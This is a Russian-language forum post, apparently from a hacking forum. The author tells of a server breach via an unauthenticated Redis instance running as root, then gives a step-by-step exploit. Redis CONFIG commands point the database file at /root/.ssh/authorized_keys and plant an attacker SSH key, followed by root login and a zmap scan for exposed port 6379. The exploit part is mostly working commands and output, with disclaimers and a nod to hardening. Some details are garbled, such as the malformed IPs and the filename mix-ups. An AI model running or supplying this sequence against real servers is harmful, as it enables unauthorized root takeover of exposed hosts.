В начале ноября 2015 я не смог зайти по ключу в контейнер на один из своих серверов. Опачки, взломали? Ну что же, ломимся на главный сервер и оттуда в контейнер. Проверяю файл /root/.ssh/authorized_hosts и вижу ужас! Мой ключик исчез и вместо этого содержимое файла стало примерно таким: PHP: REDIS0006�crackitA�ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcuHEVMRqY/Co/RJ5o5RTZmpl6sZ7U6w39WAvM7Scl7nGvr5mS4MRRIDaoAZpw7sPjmBHz2HwvAPYGCekcIVk8Xzc3p31v79fWeLXXyxts0jFZ8YZhYMZiugOgCKvRIs63DFf1gFoM/OHUyDHosi8E6BOi7ANqupScN8cIxDGsXMFr4EbQn4DoFeRTKLg5fHL9qGamaXXZRECkWHmjFYUZGjgeAiSYdZR49X36jQ6nuFBM18cEZe5ZkxbbtubnbAOMrB52tQX4RrOqmuWVE/Z0uCOBlbbG+9sKyY9wyp/aHLnRiyC8GBvbrZqQmyn9Yu1zBp3tY8Tt6DWmo6BLZV4/ crack@redis.io���rD � А кто устанавливает редис от рута? Конечно же я! Логи сервера мне ничего не говорили о взломе, поэтому оставалось одно, гуглить адрес [email protected]. И оп, как раз 2 дня назад разработчик redis написал новость об этой уязвимости-фиче. Я не буду писать все подробности, их можно посмотреть у источника http://antirez.com/news/96,я лишь расскажу как это можно(но не нужно!!!) эксплуатировать. Представим, я купил сервер для теста этой баги и установил на него redis от рута. Допустим, IP моего сервера 192.168.20.20. Попробуем подключиться удаленно к редису: PHP: $>> redis-cli -h 192.168.2020192.168.2020:6379> О, нас встречают. Попробуем выполнить команду PHP: 192.168.2020:6379> config set dir /root/.sshOK(0.68s) Ух ты, мы смогли поменять папку для хранения базы редиса в /root/ директорию! Давайте сделаем ключик у себя на машине PHP: $>> ssh-keygen -t rsa -C "[email protected]"Generating public/private rsa key pair.Enter file in which to save the key (/home/forum.xeksec.com/.ssh/id_rsa): ./id_rsaEnter passphrase (empty for no passphrase):Enter same passphrase again:Your identification has been saved in ./id_rsa.Your public key has been saved in ./id_rsa.pub.The key fingerprint is:f0:a1:52:e9:0d:5f:e4:d9:35:33:73:43:b4:c8:b9:27 crack@redis.io А теперь создадим наш небольшой exploit. PHP: $> cat crackconfig set dir /root/.sshconfig set dbfilename authorized_keysflushallset c "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcuHEVMRqY/Co/RJ5o5RTZmpl6sZ7U6w39WAvM7Scl7nGvr5mS4MRRIDaoAZpw7sPjmBHz2HwvAPYGCekcIVk8Xzc3p31v79fWeLXXyxts0jFZ8YZhYMZiugOgCKvRIs63DFf1gFoM/OHUyDHosi8E6BOi7ANqupScN8cIxDGsXMFr4EbQn4DoFeRTKLg5fHL9qGamaXXZRECkWHmjFYUZGjgeAiSYdZR49X36jQ6nuFBM18cEZe5ZkxbbtubnbAOMrB52tQX4RrOqmuWVE/Z0uCOBlbbG+9sKyY9wyp/aHLnRiyC8GBvbrZqQmyn9Yu1zBp3tY8Tt6DWmo6BLZV4/ [email protected]\n\n\n\n"save Как вы понимаете, внутри файла находится наш публичный ключ который мы сгенерировали минуту назад (лежит в /home/forum.xeksec.com/.ssh/id_rsa.pub) Выполним следующую команду: PHP: $>> redis-cli -h 192.168.20.20 < crackOKOKOKOKOK Всё замечательно! Мы смогли записать наш ключ в authorized_hosts пользователя root на уязвимом сервере. Пробуем подключиться снашим ключем: PHP: $>> ssh -i /home/forum.xeksec.com/.ssh/id_rsa -oStrictHostKeyChecking=no root@192.168.20.20Last login: Fri Jan 22 10:52:22 2015 from 192.168.1.1root@xeksec2~>> Порутали собственный сервер! Чума! Всё дело в том, что нельзя оставлять открытым порт 6379 и нельзя использовать редис без логина пароля. Ради интереса я проверил интернет на открытый порт 6379 командой PHP: $>> zmap -p6379 -o omg.txt Открытых портов миллионы! Статья написана только для того, чтобы вы проверили не уязвим ли ваш сервер! Ни в коем случае нельзя использовать данную уязимость для неправомерных действий!!!